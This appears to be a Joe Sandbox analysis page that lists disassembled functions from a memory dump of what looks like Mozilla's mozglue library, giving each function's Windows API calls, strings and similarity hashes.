Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 718b1e7a507a29194bee81f70a1d2deeffb3db7465f21d181ead2f123607c46d
Instruction ID: 5d20436572da2bca74fa40327ce16ae1097bfe10773e91a6ef8623a71e3834a3
Opcode Fuzzy Hash: 718b1e7a507a29194bee81f70a1d2deeffb3db7465f21d181ead2f123607c46d
Instruction Fuzzy Hash: 8AA15AB0A016458FDB24CF2AC594A99FBF1BF49304F44866ED44A97B00E731BA85CF99

Function 6C6B14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6B14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6B14E2
GetCurrentThreadId.KERNEL32 ref: 6C6B1546
InitializeConditionVariable.KERNEL32(?), ref: 6C6B15BA
free.MOZGLUE(?), ref: 6C6B16B4

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 84b113b9a73e277b9fd29e08484e4394e3a35ff6a497e3b0073eb4c8ef52548c
Instruction ID: aba4de780e88ec0fbd8ae92ed5aa9381c591fd8fdf4d159ca99d83c8d4769e11
Opcode Fuzzy Hash: 84b113b9a73e277b9fd29e08484e4394e3a35ff6a497e3b0073eb4c8ef52548c
Instruction Fuzzy Hash: 2361F572A007009BDB118F25C880BDEB7B5BF8A308F04851DED8A67711EB31E955CB99

Function 6C6A9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6A9FDB
free.MOZGLUE(?,?), ref: 6C6A9FF0
free.MOZGLUE(?,?), ref: 6C6AA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6AA0BE
free.MOZGLUE(?,?), ref: 6C6AA0D5
free.MOZGLUE(?,?), ref: 6C6AA0EB

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 011bea3d5f5013af116d54e9a153bdfc4a25425e751af60d67e69e5ba7e6a634
Instruction ID: d0e3571c2bd200eb6f3ca1635352a3365f6f14c2e9d20bc6a0fda8586db42384
Opcode Fuzzy Hash: 011bea3d5f5013af116d54e9a153bdfc4a25425e751af60d67e69e5ba7e6a634
Instruction Fuzzy Hash: E161AF754086019FC711CF58C48059AB3F5FF89328F54866EE8999B702EB32E987CBD5

Function 6C6ADC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6ADC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C6AD38A,?), ref: 6C6ADC6F
free.MOZGLUE(?,?,?,?,?,6C6AD38A,?), ref: 6C6ADCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C6AD38A,?), ref: 6C6ADCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C6AD38A,?), ref: 6C6ADD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C6AD38A,?), ref: 6C6ADD4A

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: e832c0ffbb3be5372cd064647279fbc88c4c6da441537e842909aca23f795383
Instruction ID: bcadd9162a49f29ceb0e17f71bb7541758fe66ea6d43d186fbb7bff36c009d76
Opcode Fuzzy Hash: e832c0ffbb3be5372cd064647279fbc88c4c6da441537e842909aca23f795383
Instruction Fuzzy Hash: 24416BB5A00605DFCB00CF99C88099AB7F5FF89314B654569DE46ABB11D771FC02CB98

Function 6C68F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C68F480

Part of subcall function 6C65F100: LoadLibraryW.KERNEL32(shell32,?,6C6CD020), ref: 6C65F122
Part of subcall function 6C65F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C65F132

CloseHandle.KERNEL32(00000000), ref: 6C68F555

Part of subcall function 6C6614B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C661248,6C661248,?), ref: 6C6614C9
Part of subcall function 6C6614B0: memcpy.VCRUNTIME140(?,6C661248,00000000,?,6C661248,?), ref: 6C6614EF

Part of subcall function 6C65EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C65EEE3

CreateFileW.KERNEL32 ref: 6C68F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C68F523

Strings

\oleacc.dll, xrefs: 6C68F4CB

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: e7e48814ea99a76f411752119c71c55213dd58cbadc32e0fce5a34836752ec9b
Instruction ID: 0d1bc788e9566150df40bd87b32a434fe4a46e126bf0021ca286a0276173a7db
Opcode Fuzzy Hash: e7e48814ea99a76f411752119c71c55213dd58cbadc32e0fce5a34836752ec9b
Instruction Fuzzy Hash: 4541BF706097109FE720DF29D884A9BB7F4AF95318F504A1CF59083690EB70E949CBAB

Function 6C69E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69E04F

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C69E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C69E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C69E057

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 2b166ee85250f4a41d121863989f427877e86856b7d0ec1711ab51fac51d1b52
Instruction ID: 6776e6135ab9b708d99987a322afce9bb1f9f19acc909b9fde3328e2bb01d191
Opcode Fuzzy Hash: 2b166ee85250f4a41d121863989f427877e86856b7d0ec1711ab51fac51d1b52
Instruction Fuzzy Hash: E721B074A0010A9FDF009F65D898AAEB7B5BF8A308F140429E90A97740DB31A919C7E9

Function 6C6B74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C6B7526
__Init_thread_footer.LIBCMT ref: 6C6B7566
__Init_thread_footer.LIBCMT ref: 6C6B7597

Strings

kernel32.dll, xrefs: 6C6B7557
UnmapViewOfFile2, xrefs: 6C6B7552

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 615ffa97ad8c0de051b7642b4bca49c3847e34a81dded684b7e6253d4862282e
Instruction ID: 70c3812f21271e644d1c9f7080f2d601ef814584af8e9d41c780a69cb21825ee
Opcode Fuzzy Hash: 615ffa97ad8c0de051b7642b4bca49c3847e34a81dded684b7e6253d4862282e
Instruction Fuzzy Hash: 1621373270150197CB248FEAD894ED973B5EB87725F054529E80167B80DB31B9118BBF

Function 6C6BA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DF770,-00000001,?,6C6CE330,?,6C67BDF7), ref: 6C6BA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C67BDF7), ref: 6C6BA7C2
moz_xmalloc.MOZGLUE(00000018,?,6C67BDF7), ref: 6C6BA7E4
LeaveCriticalSection.KERNEL32(6C6DF770), ref: 6C6BA80A

Strings

accelerator.dll, xrefs: 6C6BA7BF

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 5e5e9ad4ff32a23f1ea511f79991366088f343aeb495c83e97c7ab768b0cbc04
Instruction ID: 84db9bc2db7f189236c13609ddf8cf80400de71c38a9021371926e3afc495937
Opcode Fuzzy Hash: 5e5e9ad4ff32a23f1ea511f79991366088f343aeb495c83e97c7ab768b0cbc04
Instruction Fuzzy Hash: 8F01ADB07143049FDF04DF5AE8C4C9177B8FB8A355B05806AE90A8B712DB70A810CFAA

Function 6C6B75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6B748B,?), ref: 6C6B75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C6B75D7
FreeLibrary.KERNEL32(?,6C6B748B,?), ref: 6C6B75EC

Strings

RtlNtStatusToDosError, xrefs: 6C6B75D1
ntdll.dll, xrefs: 6C6B75B3

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 0ed2408e784dd703723be8bc13cc7e9168facbfe92853743f00b8c28fd63a019
Instruction ID: 599b689ad59f66e73d5d34581d44cd022478ec4cd9cadc224c2f026cf24e048d
Opcode Fuzzy Hash: 0ed2408e784dd703723be8bc13cc7e9168facbfe92853743f00b8c28fd63a019
Instruction Fuzzy Hash: 8FE0B671600302ABEF006FE3E9C87817AF8EB46359F108425AA15D6650EFB0B452CF5E

Function 6C6B7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6B7592), ref: 6C6B7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C6B7627
FreeLibrary.KERNEL32(?,6C6B7592), ref: 6C6B763C

Strings

NtUnmapViewOfSection, xrefs: 6C6B7621
ntdll.dll, xrefs: 6C6B7603

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: aff42ef36585dfbf2b3ffed05fcd9c9d21b389548d503c9e2ccb9ff195cd6380
Instruction ID: 4077c0c34e0e82244b259c34acabfe4733f0336438e9aebffaac6e4d6d13d704
Opcode Fuzzy Hash: aff42ef36585dfbf2b3ffed05fcd9c9d21b389548d503c9e2ccb9ff195cd6380
Instruction Fuzzy Hash: 67E0B6B0600342ABDF106FA7E8887817AB8EB5A399F014515EA05D2750EBB1B4119F5E

Function 6C6BBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C6BBE49), ref: 6C6BBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C6BBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C6BBE49), ref: 6C6BBF38
RtlReAllocateHeap.NTDLL ref: 6C6BBF83
RtlFreeHeap.NTDLL(6C6BBE49,00000000), ref: 6C6BBFA6

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: aa7aa61b06619e0ee9a99d85cb4b4e8ec3ed49fbb90f089a08a381adfc3eb9a2
Instruction ID: 41be5e43559ec2933148f037eb97a796bf2ada86dae306781c2001eb55ed4b4d
Opcode Fuzzy Hash: aa7aa61b06619e0ee9a99d85cb4b4e8ec3ed49fbb90f089a08a381adfc3eb9a2
Instruction Fuzzy Hash: 62517D71B002058FE714CF69CDC0BAAB7A6FFC9314F294629D516A7B94D730F9168B84

Function 6C6A8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?,6C6CD734), ref: 6C6A8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?,6C6CD734), ref: 6C6A8EBF
free.MOZGLUE(?,?,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?), ref: 6C6A8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?,6C6CD734), ref: 6C6A8F46
free.MOZGLUE(?,?,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?), ref: 6C6A8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?), ref: 6C6A8F8F

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 2d5529b490a9ed527ba4d6f3c07105a9ef5ca3ad7d3b13a1296e15702832f637
Instruction ID: 5c8095c7e4d8c3f82490520348ed4036927259d6491a6e53044fc4a20779ecf9
Opcode Fuzzy Hash: 2d5529b490a9ed527ba4d6f3c07105a9ef5ca3ad7d3b13a1296e15702832f637
Instruction Fuzzy Hash: 8251C2B1A012568FEB10CFA4D88066EB7B2FF4D348F15046AD916AB750E731FD06CB99

Function 6C6A27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A289A
free.MOZGLUE(?,?,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A2910
free.MOZGLUE(00000001,?,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A294E

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ea9ffa42f58586b88f9ba8ac7cd0953ff0e176ef0a7cb51aead7ce83d72515d9
Instruction ID: 9897f2b458e45feeacbcb1e058197503f2c5ef340fe41d67c23a8ddd3040f7f3
Opcode Fuzzy Hash: ea9ffa42f58586b88f9ba8ac7cd0953ff0e176ef0a7cb51aead7ce83d72515d9
Instruction Fuzzy Hash: 3D41B4B1A402068FEB14CFAAD88476A73F5EF45708F140939D95BEB740E731E906CB99

Function 6C65CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C65D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C65D139

Strings

MOZ_CRASH(), xrefs: 6C65D187

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 8262ecd1dd48c43713a626117d3683a61c814eb47742429df2e927339d799342
Instruction ID: 3543fbe50f1b8389a23461486b7e12babdc2657575e16f4df976855d1fc8f750
Opcode Fuzzy Hash: 8262ecd1dd48c43713a626117d3683a61c814eb47742429df2e927339d799342
Instruction Fuzzy Hash: 6441CC32B412164FDB548E7E8DD07AAB6B0EB49714F650239EA18E77C4D7A1A800CBDD

Function 6C654DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C654EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C654F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C654F1E

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 52175f95d4ea3090ad09e7d1fb6a04a335b1bba66f3e2ef145f8db46a4b08874
Instruction ID: fa9019ae94530c368e15ab28f76c0ca6e05641a3aa38c6ac439540feb09e902e
Opcode Fuzzy Hash: 52175f95d4ea3090ad09e7d1fb6a04a335b1bba66f3e2ef145f8db46a4b08874
Instruction Fuzzy Hash: 8C41F0716087019FC701CF29C8809ABB7E4BF8A344F608A5DF56687640DBB1E935CB85

Function 6C6BA820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DF770), ref: 6C6BA858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6BA87B

Part of subcall function 6C6BA9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C6BA88F,00000000), ref: 6C6BA9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C6BA8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6BA90C
LeaveCriticalSection.KERNEL32(6C6DF770), ref: 6C6BA97E

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: cf21db82d9946d1d4d002c44b2b831c435b0ddfba0b1b44d086e6d069fbfa2bf
Instruction ID: bb51f4b2f4feef7e7fc4b44630dd317ed3b6147944fb21cdc06fafba0641b0b7
Opcode Fuzzy Hash: cf21db82d9946d1d4d002c44b2b831c435b0ddfba0b1b44d086e6d069fbfa2bf
